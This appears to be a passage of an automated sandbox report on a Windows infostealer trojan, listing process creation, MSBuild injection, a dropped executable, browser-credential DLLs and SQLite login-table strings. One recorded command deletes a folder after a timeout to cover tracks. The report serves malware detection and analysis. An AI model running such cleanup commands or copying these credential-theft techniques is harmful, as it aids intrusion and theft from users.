Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D38278	10_2_00D38278
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D30488	10_2_00D30488
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2E455	10_2_00D2E455
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2E527	10_2_00D2E527
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D68798	10_2_00D68798
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D5E738	10_2_00D5E738
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D74988	10_2_00D74988
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D34AC8	10_2_00D34AC8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D0CAF2	10_2_00D0CAF2
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D4AA47	10_2_00D4AA47
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D5AD84	10_2_00D5AD84
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D38D88	10_2_00D38D88
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D36D40	10_2_00D36D40
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D74E98	10_2_00D74E98
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D76FA8	10_2_00D76FA8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D70F18	10_2_00D70F18
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D3EF08	10_2_00D3EF08
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D3B078	10_2_00D3B078
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D371D8	10_2_00D371D8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D651A8	10_2_00D651A8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D0729C	10_2_00D0729C
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D633C8	10_2_00D633C8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D1D39B	10_2_00D1D39B
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D494C8	10_2_00D494C8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D6B778	10_2_00D6B778
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D1572C	10_2_00D1572C
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D71918	10_2_00D71918
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D59BA8	10_2_00D59BA8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D1BB36	10_2_00D1BB36
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D13C92	10_2_00D13C92
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D37DE8	10_2_00D37DE8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D01D79	10_2_00D01D79
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2DED8	10_2_00D2DED8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D0FEF0	10_2_00D0FEF0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: String function: 00D4A1D8 appears 152 times
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: String function: 00D07B80 appears 49 times
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: String function: 00D39978 appears 93 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CDD09D0 appears 146 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CC79B10 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CC73620 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CBDCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CBE94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CDDDAE0 appears 35 times
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: String function: 008F7B80 appears 49 times

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6532 -s 288

Source: f1r6P3j3g7.exe, 00000000.00000000.1664311173.0000000000980000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs f1r6P3j3g7.exe
Source: f1r6P3j3g7.exe	Binary or memory string: OriginalFilenameproquota.exej% vs f1r6P3j3g7.exe

Source: f1r6P3j3g7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: f1r6P3j3g7.exe	Static PE information: Section: .data ZLIB complexity 0.9919195713141026
Source: KEGIDHJKKJ.exe.3.dr	Static PE information: Section: .data ZLIB complexity 0.9912368881118881
Source: a43486128347[1].exe.3.dr	Static PE information: Section: .data ZLIB complexity 0.9912368881118881

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/40@13/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_6CC07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6CC07030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\GKI36XO7.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6532
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess908
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2664

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: C:\ProgramData\KEGIDHJKKJ.exe	Command line argument: MZx	10_2_00D02021
Source: C:\ProgramData\KEGIDHJKKJ.exe	Command line argument: MZx	10_2_00D02021
Source: C:\ProgramData\KEGIDHJKKJ.exe	Command line argument: MZx	10_2_00D02021

Source: f1r6P3j3g7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sql[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: DAKEBA.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\f1r6P3j3g7.exe "C:\Users\user\Desktop\f1r6P3j3g7.exe"
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6532 -s 288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KEGIDHJKKJ.exe "C:\ProgramData\KEGIDHJKKJ.exe"
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 908 -s 268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGIJDGCAEBFI" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 840
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KEGIDHJKKJ.exe "C:\ProgramData\KEGIDHJKKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGIJDGCAEBFI" & exit	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
